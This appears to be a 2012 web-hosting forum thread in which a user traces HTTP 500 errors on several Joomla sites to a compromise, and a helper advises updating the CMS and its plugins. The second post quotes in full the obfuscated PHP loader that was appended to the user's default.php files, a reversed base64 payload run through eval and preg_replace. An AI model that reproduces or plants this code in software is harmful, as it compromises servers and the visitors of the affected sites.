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Error 500 on several virtual domains

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#1 Thu, 01/19/2012 - 17:16

rogeriobrito

Error 500 on several virtual domains

Hello all,

Out of nothing I started to get a lot of error 500 on several virtual servers. Some work, some don't. They are all Joomla Websites. I see error 500 only through Firebug because the browser delivers some HTML from the site, so no error appaers on the browser. Also, there's no error on the virtual server's error log, and there is no error on the apache error log. Some examples:

http://www.gemelo.com.br/
http://www.frutal.mg.gov.br/ http://www.iturama.mg.gov.br/

They were all working..

Changing the PHP execution mode from FCGId to Apache doens't change anything. I have problems with both modes.

I don't know what to do. Please Help.

#2 Thu, 01/19/2012 - 17:53

rogeriobrito

I've found out what happend:

The server was somehow hacked, and all my default.php files have the following lines at the end:

< ? php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ? >me -1

Please help me to clean all this files, and how to secure the server. All virtualmin packages are up to date. Thank you

#3 Thu, 01/19/2012 - 21:30

andreychek

Howdy,

Well, they likely broke in by taking advantage of a security issue with your website, or a website plugin. So you'd want to make sure the software that powers your website (for example, Wordpress, Joomla, Drupal, and the like) is fully up to date.

Also, if you have any modules or plugins for that software installed, that all the modules and plugins are fully up to date as well.

-Eric

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